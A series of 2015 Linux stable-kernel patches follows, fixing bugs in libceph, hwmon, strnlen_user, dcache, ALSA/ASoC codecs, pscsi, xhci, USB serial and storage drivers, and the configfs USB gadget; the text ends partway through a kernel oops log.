d2e3dbf9c3449c208b962dff4d68bab013a16b61 Mon Sep 17 00:00:00 2001 From: Ilya Dryomov Date: Mon, 11 May 2015 17:53:10 +0300 Subject: libceph: request a new osdmap if lingering request maps to no osd commit b0494532214bdfbf241e94fabab5dd46f7b82631 upstream. This commit does two things. First, if there are any homeless lingering requests, we now request a new osdmap even if the osdmap that is being processed brought no changes, i.e. if a given lingering request turned homeless in one of the previous epochs and remained homeless in the current epoch. Not doing so leaves us with a stale osdmap and as a result we may miss our window for reestablishing the watch and lose notifies. MON=1 OSD=1: # cat linger-needmap.sh #!/bin/bash rbd create --size 1 test DEV=$(rbd map test) ceph osd out 0 rbd map dne/dne # obtain a new osdmap as a side effect (!) sleep 1 ceph osd in 0 rbd resize --size 2 test # rbd info test | grep size -> 2M # blockdev --getsize $DEV -> 1M N.B.: Not obtaining a new osdmap in between "osd out" and "osd in" above is enough to make it miss that resize notify, but that is a bug^Wlimitation of ceph watch/notify v1. Second, homeless lingering requests are now kicked just like those lingering requests whose mapping has changed. This is mainly to recognize that a homeless lingering request makes no sense and to preserve the invariant that a registered lingering request is not sitting on any of r_req_lru_item lists. This spares us a WARN_ON, which commit ba9d114ec557 ("libceph: clear r_req_lru_item in __unregister_linger_request()") tried to fix the _wrong_ way. Signed-off-by: Ilya Dryomov Reviewed-by: Sage Weil Signed-off-by: Greg Kroah-Hartman --- net/ceph/osd_client.c | 31 ++++++++++++++++++++----------- 1 file changed, 20 insertions(+), 11 deletions(-) diff --git a/net/ceph/osd_client.c b/net/ceph/osd_client.c index 1b51d9216e7e..7665ce336e2b 100644 --- a/net/ceph/osd_client.c +++ b/net/ceph/osd_client.c @@ -1702,20 +1702,29 @@ static void kick_requests(struct ceph_osd_client *osdc, bool force_resend, err = __map_request(osdc, req, force_resend || force_resend_writes); dout("__map_request returned %d\n", err); - if (err == 0) - continue; /* no change and no osd was specified */ if (err < 0) continue; /* hrm! */ - if (req->r_osd == NULL) { - dout("tid %llu maps to no valid osd\n", req->r_tid); - needmap++; /* request a newer map */ - continue; - } + if (req->r_osd == NULL || err > 0) { + if (req->r_osd == NULL) { + dout("lingering %p tid %llu maps to no osd\n", + req, req->r_tid); + /* + * A homeless lingering request makes + * no sense, as it's job is to keep + * a particular OSD connection open. + * Request a newer map and kick the + * request, knowing that it won't be + * resent until we actually get a map + * that can tell us where to send it. + */ + needmap++; + } - dout("kicking lingering %p tid %llu osd%d\n", req, req->r_tid, - req->r_osd ? req->r_osd->o_osd : -1); - __register_request(osdc, req); - __unregister_linger_request(osdc, req); + dout("kicking lingering %p tid %llu osd%d\n", req, + req->r_tid, req->r_osd ? req->r_osd->o_osd : -1); + __register_request(osdc, req); + __unregister_linger_request(osdc, req); + } } reset_changed_osds(osdc); mutex_unlock(&osdc->request_mutex); -- cgit v1.2.3 From e9aba80e289b3491597422f1bf843be5e8099a2d Mon Sep 17 00:00:00 2001 From: Chris Lesiak Date: Tue, 26 May 2015 15:40:44 -0500 Subject: hwmon: (ntc_thermistor) Ensure iio channel is of type IIO_VOLTAGE commit adba657533bdd255f7b78bc8a324091f46b294cd upstream. When configured via device tree, the associated iio device needs to be measuring voltage for the conversion to resistance to be correct. Return -EINVAL if that is not the case. Signed-off-by: Chris Lesiak Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman --- drivers/hwmon/ntc_thermistor.c | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/drivers/hwmon/ntc_thermistor.c b/drivers/hwmon/ntc_thermistor.c index c64d3d497c50..d7bb12ad4945 100644 --- a/drivers/hwmon/ntc_thermistor.c +++ b/drivers/hwmon/ntc_thermistor.c @@ -181,8 +181,10 @@ static struct ntc_thermistor_platform_data * ntc_thermistor_parse_dt(struct platform_device *pdev) { struct iio_channel *chan; + enum iio_chan_type type; struct device_node *np = pdev->dev.of_node; struct ntc_thermistor_platform_data *pdata; + int ret; if (!np) return NULL; @@ -195,6 +197,13 @@ ntc_thermistor_parse_dt(struct platform_device *pdev) if (IS_ERR(chan)) return ERR_CAST(chan); + ret = iio_get_channel_type(chan, &type); + if (ret < 0) + return ERR_PTR(ret); + + if (type != IIO_VOLTAGE) + return ERR_PTR(-EINVAL); + if (of_property_read_u32(np, "pullup-uv", &pdata->pullup_uv)) return ERR_PTR(-ENODEV); if (of_property_read_u32(np, "pullup-ohm", &pdata->pullup_ohm)) -- cgit v1.2.3 From 73f668104f25d364f758e8c6738c2a1826d2f0fc Mon Sep 17 00:00:00 2001 From: Jan Kara Date: Tue, 2 Jun 2015 17:10:28 +0200 Subject: lib: Fix strnlen_user() to not touch memory after specified maximum commit f18c34e483ff6b1d9866472221e4015b3a4698e4 upstream. If the specified maximum length of the string is a multiple of unsigned long, we would load one long behind the specified maximum. If that happens to be in a next page, we can hit a page fault although we were not expected to. Fix the off-by-one bug in the test whether we are at the end of the specified range. Signed-off-by: Jan Kara Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman --- lib/strnlen_user.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/strnlen_user.c b/lib/strnlen_user.c index a28df5206d95..11649615c505 100644 --- a/lib/strnlen_user.c +++ b/lib/strnlen_user.c @@ -57,7 +57,8 @@ static inline long do_strnlen_user(const char __user *src, unsigned long count, return res + find_zero(data) + 1 - align; } res += sizeof(unsigned long); - if (unlikely(max < sizeof(unsigned long))) + /* We already handled 'unsigned long' bytes. Did we do it all ? */ + if (unlikely(max <= sizeof(unsigned long))) break; max -= sizeof(unsigned long); if (unlikely(__get_user(c,(unsigned long __user *)(src+res)))) -- cgit v1.2.3 From bf6aa269ed400ba7f159341a926e77b7464f1b64 Mon Sep 17 00:00:00 2001 From: Al Viro Date: Thu, 28 May 2015 23:09:19 -0400 Subject: d_walk() might skip too much commit 2159184ea01e4ae7d15f2017e296d4bc82d5aeb0 upstream. when we find that a child has died while we'd been trying to ascend, we should go into the first live sibling itself, rather than its sibling. Off-by-one in question had been introduced in "deal with deadlock in d_walk()" and the fix needs to be backported to all branches this one has been backported to. Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman --- fs/dcache.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/fs/dcache.c b/fs/dcache.c index efa4602e064f..e2800926ae05 100644 --- a/fs/dcache.c +++ b/fs/dcache.c @@ -1179,13 +1179,13 @@ ascend: /* might go back up the wrong parent if we have had a rename. */ if (!locked && read_seqretry(&rename_lock, seq)) goto rename_retry; - next = child->d_child.next; - while (unlikely(child->d_flags & DCACHE_DENTRY_KILLED)) { + /* go into the first sibling still alive */ + do { + next = child->d_child.next; if (next == &this_parent->d_subdirs) goto ascend; child = list_entry(next, struct dentry, d_child); - next = next->next; - } + } while (unlikely(child->d_flags & DCACHE_DENTRY_KILLED)); rcu_read_unlock(); goto resume; } -- cgit v1.2.3 From aa7d4eb3a333d1f679ddaf31f30af43d9210d910 Mon Sep 17 00:00:00 2001 From: David Henningsson Date: Wed, 13 May 2015 13:28:54 +0200 Subject: ALSA: hda - Add Conexant codecs CX20721, CX20722, CX20723 and CX20724 commit 6ffc0898b29a2811a6c0569c5dd9b581980110df upstream. This patch adds support for Conexant HD Audio codecs CX20721, CX20722, CX20723 and CX20724. BugLink: https://bugs.launchpad.net/bugs/1454656 Signed-off-by: David Henningsson Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman --- sound/pci/hda/patch_conexant.c | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/sound/pci/hda/patch_conexant.c b/sound/pci/hda/patch_conexant.c index fab909908a42..3cda292f74e4 100644 --- a/sound/pci/hda/patch_conexant.c +++ b/sound/pci/hda/patch_conexant.c @@ -3490,6 +3490,14 @@ static const struct hda_codec_preset snd_hda_preset_conexant[] = { .patch = patch_conexant_auto }, { .id = 0x14f150b9, .name = "CX20665", .patch = patch_conexant_auto }, + { .id = 0x14f150f1, .name = "CX20721", + .patch = patch_conexant_auto }, + { .id = 0x14f150f2, .name = "CX20722", + .patch = patch_conexant_auto }, + { .id = 0x14f150f3, .name = "CX20723", + .patch = patch_conexant_auto }, + { .id = 0x14f150f4, .name = "CX20724", + .patch = patch_conexant_auto }, { .id = 0x14f1510f, .name = "CX20751/2", .patch = patch_conexant_auto }, { .id = 0x14f15110, .name = "CX20751/2", @@ -3524,6 +3532,10 @@ MODULE_ALIAS("snd-hda-codec-id:14f150ab"); MODULE_ALIAS("snd-hda-codec-id:14f150ac"); MODULE_ALIAS("snd-hda-codec-id:14f150b8"); MODULE_ALIAS("snd-hda-codec-id:14f150b9"); +MODULE_ALIAS("snd-hda-codec-id:14f150f1"); +MODULE_ALIAS("snd-hda-codec-id:14f150f2"); +MODULE_ALIAS("snd-hda-codec-id:14f150f3"); +MODULE_ALIAS("snd-hda-codec-id:14f150f4"); MODULE_ALIAS("snd-hda-codec-id:14f1510f"); MODULE_ALIAS("snd-hda-codec-id:14f15110"); MODULE_ALIAS("snd-hda-codec-id:14f15111"); -- cgit v1.2.3 From 28bb832e33218f925421dbeae4076ae08579ff59 Mon Sep 17 00:00:00 2001 From: Takashi Iwai Date: Fri, 1 May 2015 09:20:34 +0200 Subject: ALSA: hda - Add headphone quirk for Lifebook E752 commit 88776f366ede7d9cdce60bd2c9753dd6d6fa8b77 upstream. Fujitsu Lifebook E752 laptop needs a similar quirk done for Lifebook T731. Otherwise the headphone is always muted. Reported-and-tested-by: Christian Weber Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman --- sound/pci/hda/patch_realtek.c | 1 + 1 file changed, 1 insertion(+) diff --git a/sound/pci/hda/patch_realtek.c b/sound/pci/hda/patch_realtek.c index a8eb7fe2766e..444019696f85 100644 --- a/sound/pci/hda/patch_realtek.c +++ b/sound/pci/hda/patch_realtek.c @@ -3736,6 +3736,7 @@ static const struct snd_pci_quirk alc269_fixup_tbl[] = { SND_PCI_QUIRK_VENDOR(0x1025, "Acer Aspire", ALC271_FIXUP_DMIC), SND_PCI_QUIRK(0x10cf, 0x1475, "Lifebook", ALC269_FIXUP_LIFEBOOK), SND_PCI_QUIRK(0x10cf, 0x15dc, "Lifebook T731", ALC269_FIXUP_LIFEBOOK_HP_PIN), + SND_PCI_QUIRK(0x10cf, 0x1757, "Lifebook E752", ALC269_FIXUP_LIFEBOOK_HP_PIN), SND_PCI_QUIRK(0x10cf, 0x1845, "Lifebook U904", ALC269_FIXUP_LIFEBOOK_EXTMIC), SND_PCI_QUIRK(0x17aa, 0x20f2, "Thinkpad SL410/510", ALC269_FIXUP_SKU_IGNORE), SND_PCI_QUIRK(0x17aa, 0x215e, "Thinkpad L512", ALC269_FIXUP_SKU_IGNORE), -- cgit v1.2.3 From 048a067a58e274b64a443365996009e60345a8f2 Mon Sep 17 00:00:00 2001 From: Axel Lin Date: Mon, 27 Apr 2015 14:51:35 +0800 Subject: ASoC: mc13783: Fix wrong mask value used in mc13xxx_reg_rmw() calls commit 545774bd6e1427d98dde77244329d2311c5eca6f upstream. mc13xxx_reg_rmw() won't change any bit if passing 0 to the mask field. Pass AUDIO_SSI_SEL instead of 0 for the mask field to set AUDIO_SSI_SEL bit. Signed-off-by: Axel Lin Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman --- sound/soc/codecs/mc13783.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/sound/soc/codecs/mc13783.c b/sound/soc/codecs/mc13783.c index 8a8d9364e87f..d0fc21559a85 100644 --- a/sound/soc/codecs/mc13783.c +++ b/sound/soc/codecs/mc13783.c @@ -604,14 +604,14 @@ static int mc13783_probe(struct snd_soc_codec *codec) AUDIO_SSI_SEL, 0); else mc13xxx_reg_rmw(priv->mc13xxx, MC13783_AUDIO_CODEC, - 0, AUDIO_SSI_SEL); + AUDIO_SSI_SEL, AUDIO_SSI_SEL); if (priv->dac_ssi_port == MC13783_SSI1_PORT) mc13xxx_reg_rmw(priv->mc13xxx, MC13783_AUDIO_DAC, AUDIO_SSI_SEL, 0); else mc13xxx_reg_rmw(priv->mc13xxx, MC13783_AUDIO_DAC, - 0, AUDIO_SSI_SEL); + AUDIO_SSI_SEL, AUDIO_SSI_SEL); mc13xxx_unlock(priv->mc13xxx); -- cgit v1.2.3 From 83d438f13b0e415bf17098efe2884dfdea3293aa Mon Sep 17 00:00:00 2001 From: Zidan Wang Date: Tue, 12 May 2015 14:58:36 +0800 Subject: ASoC: wm8960: fix "RINPUT3" audio route error commit 85e36a1f4a735d991ba5106781ea48e89a0b8901 upstream. It should be "RINPUT3" instead of "LINPUT3" route to "Right Input Mixer". Signed-off-by: Zidan Wang Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman --- sound/soc/codecs/wm8960.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sound/soc/codecs/wm8960.c b/sound/soc/codecs/wm8960.c index 4a8decf85a4a..39f65bc9de56 100644 --- a/sound/soc/codecs/wm8960.c +++ b/sound/soc/codecs/wm8960.c @@ -392,7 +392,7 @@ static const struct snd_soc_dapm_route audio_paths[] = { { "Right Input Mixer", "Boost Switch", "Right Boost Mixer", }, { "Right Input Mixer", NULL, "RINPUT1", }, /* Really Boost Switch */ { "Right Input Mixer", NULL, "RINPUT2" }, - { "Right Input Mixer", NULL, "LINPUT3" }, + { "Right Input Mixer", NULL, "RINPUT3" }, { "Left ADC", NULL, "Left Input Mixer" }, { "Right ADC", NULL, "Right Input Mixer" }, -- cgit v1.2.3 From 202847125c76ac628d0d2fa758e96c9d70bb7454 Mon Sep 17 00:00:00 2001 From: Zidan Wang Date: Tue, 12 May 2015 14:58:50 +0800 Subject: ASoC: wm8994: correct BCLK DIV 348 to 384 commit 17fc2e0a3db11889e942c5ab15a1fcb876638f25 upstream. According to the RM of wm8958, BCLK DIV 348 doesn't exist, correct it to 384. Signed-off-by: Zidan Wang Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman --- sound/soc/codecs/wm8994.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sound/soc/codecs/wm8994.c b/sound/soc/codecs/wm8994.c index 29e95f93d482..6e746c7474bf 100644 --- a/sound/soc/codecs/wm8994.c +++ b/sound/soc/codecs/wm8994.c @@ -2679,7 +2679,7 @@ static struct { }; static int fs_ratios[] = { - 64, 128, 192, 256, 348, 512, 768, 1024, 1408, 1536 + 64, 128, 192, 256, 384, 512, 768, 1024, 1408, 1536 }; static int bclk_divs[] = { -- cgit v1.2.3 From 72ca05549570dad27d096350569cf2d05c2da4b8 Mon Sep 17 00:00:00 2001 From: Andy Grover Date: Fri, 22 May 2015 14:07:44 -0700 Subject: target/pscsi: Don't leak scsi_host if hba is VIRTUAL_HOST commit 5a7125c64def3b21f8147eca8b54949a60963942 upstream. See https://bugzilla.redhat.com/show_bug.cgi?id=1025672 We need to put() the reference to the scsi host that we got in pscsi_configure_device(). In VIRTUAL_HOST mode it is associated with the dev_virt, not the hba_virt. Signed-off-by: Andy Grover Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman --- drivers/target/target_core_pscsi.c | 3 +++ drivers/target/target_core_pscsi.h | 1 + 2 files changed, 4 insertions(+) diff --git a/drivers/target/target_core_pscsi.c b/drivers/target/target_core_pscsi.c index b1e77ff9a636..244776bec1c7 100644 --- a/drivers/target/target_core_pscsi.c +++ b/drivers/target/target_core_pscsi.c @@ -520,6 +520,7 @@ static int pscsi_configure_device(struct se_device *dev) " pdv_host_id: %d\n", pdv->pdv_host_id); return -EINVAL; } + pdv->pdv_lld_host = sh; } } else { if (phv->phv_mode == PHV_VIRTUAL_HOST_ID) { @@ -602,6 +603,8 @@ static void pscsi_free_device(struct se_device *dev) if ((phv->phv_mode == PHV_LLD_SCSI_HOST_NO) && (phv->phv_lld_host != NULL)) scsi_host_put(phv->phv_lld_host); + else if (pdv->pdv_lld_host) + scsi_host_put(pdv->pdv_lld_host); if ((sd->type == TYPE_DISK) || (sd->type == TYPE_ROM)) scsi_device_put(sd); diff --git a/drivers/target/target_core_pscsi.h b/drivers/target/target_core_pscsi.h index 1bd757dff8ee..820d3052b775 100644 --- a/drivers/target/target_core_pscsi.h +++ b/drivers/target/target_core_pscsi.h @@ -45,6 +45,7 @@ struct pscsi_dev_virt { int pdv_lun_id; struct block_device *pdv_bd; struct scsi_device *pdv_sd; + struct Scsi_Host *pdv_lld_host; } ____cacheline_aligned; typedef enum phv_modes { -- cgit v1.2.3 From 8297f04683fa3a5f5b10ae0d948147d8715318b5 Mon Sep 17 00:00:00 2001 From: Mathias Nyman Date: Thu, 30 Apr 2015 17:16:02 +0300 Subject: xhci: fix isoc endpoint dequeue from advancing too far on transaction error commit d104d0152a97fade389f47635b73a9ccc7295d0b upstream. Isoc TDs usually consist of one TRB, sometimes two. When all goes well we receive only one success event for a TD, and move the dequeue pointer to the next TD. This fails if the TD consists of two TRBs and we get a transfer error on the first TRB, we will then see two events for that TD. Fix this by making sure the event we get is for the last TRB in that TD before moving the dequeue pointer to the next TD. This will resolve some of the uvc and dvb issues with the "ERROR Transfer event TRB DMA ptr not part of current TD" error message Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman --- drivers/usb/host/xhci-ring.c | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/drivers/usb/host/xhci-ring.c b/drivers/usb/host/xhci-ring.c index bc7a886e3c36..4ff5158f5a8d 100644 --- a/drivers/usb/host/xhci-ring.c +++ b/drivers/usb/host/xhci-ring.c @@ -2144,8 +2144,13 @@ static int process_isoc_td(struct xhci_hcd *xhci, struct xhci_td *td, break; case COMP_DEV_ERR: case COMP_STALL: + frame->status = -EPROTO; + skip_td = true; + break; case COMP_TX_ERR: frame->status = -EPROTO; + if (event_trb != td->last_trb) + return 0; skip_td = true; break; case COMP_STOP: -- cgit v1.2.3 From 6d03a08b1ac8fbb4fbd53fb8d50414635ee020e7 Mon Sep 17 00:00:00 2001 From: Mathias Nyman Date: Thu, 30 Apr 2015 17:16:03 +0300 Subject: xhci: Solve full event ring by increasing TRBS_PER_SEGMENT to 256 commit 18cc2f4cbbaf825a4fedcf2d60fd388d291e0a38 upstream. Our event ring consists of only one segment, and we risk filling the event ring in case we get isoc transfers with short intervals such as webcams that fill a TD every microframe (125us) With 64 TRB segment size one usb camera could fill the event ring in 8ms. A setup with several cameras and other devices can fill up the event ring as it is shared between all devices. This has occurred when uvcvideo queues 5 * 32TD URBs which then get cancelled when the video mode changes. The cancelled URBs are returned in the xhci interrupt context and blocks the interrupt handler from handling the new events. A full event ring will block xhci from scheduling traffic and affect all devices conneted to the xhci, will see errors such as Missed Service Intervals for isoc devices, and and Split transaction errors for LS/FS interrupt devices. Increasing the TRB_PER_SEGMENT will also increase the default endpoint ring size, which is welcome as for most isoc transfer we had to dynamically expand the endpoint ring anyway to be able to queue the 5 * 32TDs uvcvideo queues. The default size used to be 64 TRBs per segment Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman --- drivers/usb/host/xhci.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/usb/host/xhci.h b/drivers/usb/host/xhci.h index 373d4dada565..ed8de724b285 100644 --- a/drivers/usb/host/xhci.h +++ b/drivers/usb/host/xhci.h @@ -1237,7 +1237,7 @@ union xhci_trb { * since the command ring is 64-byte aligned. * It must also be greater than 16. */ -#define TRBS_PER_SEGMENT 64 +#define TRBS_PER_SEGMENT 256 /* Allow two commands + a link TRB, along with any reserved command TRBs */ #define MAX_RSVD_CMD_TRBS (TRBS_PER_SEGMENT - 3) #define TRB_SEGMENT_SIZE (TRBS_PER_SEGMENT*16) -- cgit v1.2.3 From 4c1c7ca54a9dbf06f273a49f130e14e09e563beb Mon Sep 17 00:00:00 2001 From: Joe Lawrence Date: Thu, 30 Apr 2015 17:16:04 +0300 Subject: xhci: gracefully handle xhci_irq dead device commit 948fa13504f80b9765d2b753691ab94c83a10341 upstream. If the xHCI host controller has died (ie, device removed) or suffered other serious fatal error (STS_FATAL), then xhci_irq should handle this condition with IRQ_HANDLED instead of -ESHUTDOWN. Signed-off-by: Joe Lawrence Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman --- drivers/usb/host/xhci-ring.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/usb/host/xhci-ring.c b/drivers/usb/host/xhci-ring.c index 4ff5158f5a8d..30533952b4a3 100644 --- a/drivers/usb/host/xhci-ring.c +++ b/drivers/usb/host/xhci-ring.c @@ -2767,7 +2767,7 @@ irqreturn_t xhci_irq(struct usb_hcd *hcd) xhci_halt(xhci); hw_died: spin_unlock(&xhci->lock); - return -ESHUTDOWN; + return IRQ_HANDLED; } /* -- cgit v1.2.3 From d7493ce59186d9557324e4c9cc099051330a97bb Mon Sep 17 00:00:00 2001 From: "Jason A. Donenfeld" Date: Wed, 22 Apr 2015 14:35:09 +0200 Subject: USB: visor: Match I330 phone more precisely commit 82ee3aeb9295c5fc37fd2ddf20f13ac2b40ec97d upstream. Samsung has just released a portable USB3 SSD, coming in a very small and nice form factor. It's USB ID is 04e8:8001, which unfortunately is already used by the Palm Visor driver for the Samsung I330 phone cradle. Having pl2303 or visor pick up this device ID results in conflicts with the usb-storage driver, which handles the newly released portable USB3 SSD. To work around this conflict, I've dug up a mailing list post [1] from a long time ago, in which a user posts the full USB descriptor information. The most specific value in this appears to be the interface class, which has value 255 (0xff). Since usb-storage requires an interface class of 0x8, I believe it's correct to disambiguate the two devices by matching on 0xff inside visor. [1] http://permalink.gmane.org/gmane.linux.usb.user/4264 Signed-off-by: Jason A. Donenfeld Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman --- drivers/usb/serial/visor.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/usb/serial/visor.c b/drivers/usb/serial/visor.c index 9910aa2edf4b..727905de0ba4 100644 --- a/drivers/usb/serial/visor.c +++ b/drivers/usb/serial/visor.c @@ -96,7 +96,7 @@ static struct usb_device_id id_table [] = { .driver_info = (kernel_ulong_t)&palm_os_4_probe }, { USB_DEVICE(ACER_VENDOR_ID, ACER_S10_ID), .driver_info = (kernel_ulong_t)&palm_os_4_probe }, - { USB_DEVICE(SAMSUNG_VENDOR_ID, SAMSUNG_SCH_I330_ID), + { USB_DEVICE_INTERFACE_CLASS(SAMSUNG_VENDOR_ID, SAMSUNG_SCH_I330_ID, 0xff), .driver_info = (kernel_ulong_t)&palm_os_4_probe }, { USB_DEVICE(SAMSUNG_VENDOR_ID, SAMSUNG_SPH_I500_ID), .driver_info = (kernel_ulong_t)&palm_os_4_probe }, -- cgit v1.2.3 From e83388d8092a324cc954fe0e3749452f441054eb Mon Sep 17 00:00:00 2001 From: "Jason A. Donenfeld" Date: Wed, 22 Apr 2015 14:35:08 +0200 Subject: USB: pl2303: Remove support for Samsung I330 commit 48ef23a4f686b1e4519d4193c20d26834ff810ff upstream. This phone is already supported by the visor driver. Signed-off-by: Jason A. Donenfeld Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman --- drivers/usb/serial/pl2303.c | 1 - drivers/usb/serial/pl2303.h | 4 ---- 2 files changed, 5 deletions(-) diff --git a/drivers/usb/serial/pl2303.c b/drivers/usb/serial/pl2303.c index de3e15d8eb10..33313caed504 100644 --- a/drivers/usb/serial/pl2303.c +++ b/drivers/usb/serial/pl2303.c @@ -63,7 +63,6 @@ static const struct usb_device_id id_table[] = { { USB_DEVICE(DCU10_VENDOR_ID, DCU10_PRODUCT_ID) }, { USB_DEVICE(SITECOM_VENDOR_ID, SITECOM_PRODUCT_ID) }, { USB_DEVICE(ALCATEL_VENDOR_ID, ALCATEL_PRODUCT_ID) }, - { USB_DEVICE(SAMSUNG_VENDOR_ID, SAMSUNG_PRODUCT_ID) }, { USB_DEVICE(SIEMENS_VENDOR_ID, SIEMENS_PRODUCT_ID_SX1) }, { USB_DEVICE(SIEMENS_VENDOR_ID, SIEMENS_PRODUCT_ID_X65) }, { USB_DEVICE(SIEMENS_VENDOR_ID, SIEMENS_PRODUCT_ID_X75) }, diff --git a/drivers/usb/serial/pl2303.h b/drivers/usb/serial/pl2303.h index 71fd9da1d6e7..e3b7af8adfb7 100644 --- a/drivers/usb/serial/pl2303.h +++ b/drivers/usb/serial/pl2303.h @@ -62,10 +62,6 @@ #define ALCATEL_VENDOR_ID 0x11f7 #define ALCATEL_PRODUCT_ID 0x02df -/* Samsung I330 phone cradle */ -#define SAMSUNG_VENDOR_ID 0x04e8 -#define SAMSUNG_PRODUCT_ID 0x8001 - #define SIEMENS_VENDOR_ID 0x11f5 #define SIEMENS_PRODUCT_ID_SX1 0x0001 #define SIEMENS_PRODUCT_ID_X65 0x0003 -- cgit v1.2.3 From 59846d318724b7f6277c5a3ed94d3eb702700609 Mon Sep 17 00:00:00 2001 From: Mark Edwards Date: Tue, 14 Apr 2015 08:52:34 -0400 Subject: USB: cp210x: add ID for KCF Technologies PRN device commit c735ed74d83f8ecb45c4c4c95a16853c9c3c8157 upstream. Added the USB serial console device ID for KCF Technologies PRN device which has a USB port for its serial console. Signed-off-by: Mark Edwards Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman --- drivers/usb/serial/cp210x.c | 1 + 1 file changed, 1 insertion(+) diff --git a/drivers/usb/serial/cp210x.c b/drivers/usb/serial/cp210x.c index 79e9ea005c63..691a82105180 100644 --- a/drivers/usb/serial/cp210x.c +++ b/drivers/usb/serial/cp210x.c @@ -127,6 +127,7 @@ static const struct usb_device_id id_table[] = { { USB_DEVICE(0x10C4, 0x88A5) }, /* Planet Innovation Ingeni ZigBee USB Device */ { USB_DEVICE(0x10C4, 0x8946) }, /* Ketra N1 Wireless Interface */ { USB_DEVICE(0x10C4, 0x8977) }, /* CEL MeshWorks DevKit Device */ + { USB_DEVICE(0x10C4, 0x8998) }, /* KCF Technologies PRN */ { USB_DEVICE(0x10C4, 0xEA60) }, /* Silicon Labs factory default */ { USB_DEVICE(0x10C4, 0xEA61) }, /* Silicon Labs factory default */ { USB_DEVICE(0x10C4, 0xEA70) }, /* Silicon Labs factory default */ -- cgit v1.2.3 From 7f7c38c09df662ef1f6ea92678da8b5aa5522385 Mon Sep 17 00:00:00 2001 From: Hans de Goede Date: Thu, 30 Apr 2015 11:09:44 +0200 Subject: usb-storage: Add NO_WP_DETECT quirk for Lacie 059f:0651 devices commit 172115090f5e739660b97694618a2ba86457063a upstream. Without this flag some versions of these enclosures do not work. Reported-and-tested-by: Christian Schaller Signed-off-by: Hans de Goede Signed-off-by: Greg Kroah-Hartman --- drivers/usb/storage/unusual_devs.h | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/drivers/usb/storage/unusual_devs.h b/drivers/usb/storage/unusual_devs.h index 7f625306ea80..821e1e2f70f6 100644 --- a/drivers/usb/storage/unusual_devs.h +++ b/drivers/usb/storage/unusual_devs.h @@ -760,6 +760,13 @@ UNUSUAL_DEV( 0x059f, 0x0643, 0x0000, 0x0000, USB_SC_DEVICE, USB_PR_DEVICE, NULL, US_FL_GO_SLOW ), +/* Reported by Christian Schaller */ +UNUSUAL_DEV( 0x059f, 0x0651, 0x0000, 0x0000, + "LaCie", + "External HDD", + USB_SC_DEVICE, USB_PR_DEVICE, NULL, + US_FL_NO_WP_DETECT ), + /* Submitted by Joel Bourquard * Some versions of this device need the SubClass and Protocol overrides * while others don't. -- cgit v1.2.3 From e83c5792a723d6e7f5eed1fb74e76038d9932705 Mon Sep 17 00:00:00 2001 From: Krzysztof Opasiak Date: Fri, 20 Mar 2015 15:48:56 +0100 Subject: usb: gadget: configfs: Fix interfaces array NULL-termination commit 903124fe1aa284f61745a9dd4fbfa0184e569fff upstream. memset() to 0 interfaces array before reusing usb_configuration structure. This commit fix bug: ln -s functions/acm.1 configs/c.1 ln -s functions/acm.2 configs/c.1 ln -s functions/acm.3 configs/c.1 echo "UDC name" > UDC echo "" > UDC rm configs/c.1/acm.* rmdir functions/* mkdir functions/ecm.usb0 ln -s functions/ecm.usb0 configs/c.1 echo "UDC name" > UDC [ 82.220969] Unable to handle kernel NULL pointer dereference at virtual address 00000000 [ 82.229009] pgd = c0004000 [ 82.231698] [00000000] *pgd=00000000 [ 82.235260] Internal error: Oops: 17 [#1] PREEMPT SMP ARM [ 82.240638] Modules linked in: [ 82.243681] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 4.0.0-rc2 #39 [ 82.249926] Hardware name: SAMSUNG EXYNOS (Flattened Device Tree) [ 82.256003] task: c07cd2f0 ti: c07c8000 task.ti: c07c8000 [ 82.261393] PC is at composite_setup+0xe3c/0x1674 [ 82.266073] LR is at composite_setup+0xf20/0x1674 [ 82.270760] pc : [] lr : [] psr: 600001d3 [ 82.270760] sp : c07c9df0 ip : c0806448 fp : ed8c9c9c [ 82.282216] r10: 00000001 r9 : 00000000 r8 : edaae918 [ 82.287425] r7 : ed551cc0 r6 : 00007fff r5 : 00000000 r4 : ed799634 [ 82.293934] r3 : 00000003 r2 : 00010002 r1 : edaae918 r0 : 0000002e [ 82.300446] Flags: nZCv IRQs off FIQs off Mode SVC_32 ISA ARM Segment kernel [ 82.307910] Control: 10c5387d Table: 6bc1804a DAC: 00000015 [ 82.313638] Process swapper/0 (pid: 0, stack limit = 0xc07c8210) [ 82.319627] Stack: (0xc07c9df0 to 0xc07ca000) [ 82.323969] 9de0: 00000000 c06e65f4 00000000 c07c9f68 [ 82.332130] 9e00: 00000067 c07c59ac 000003f7 edaae918 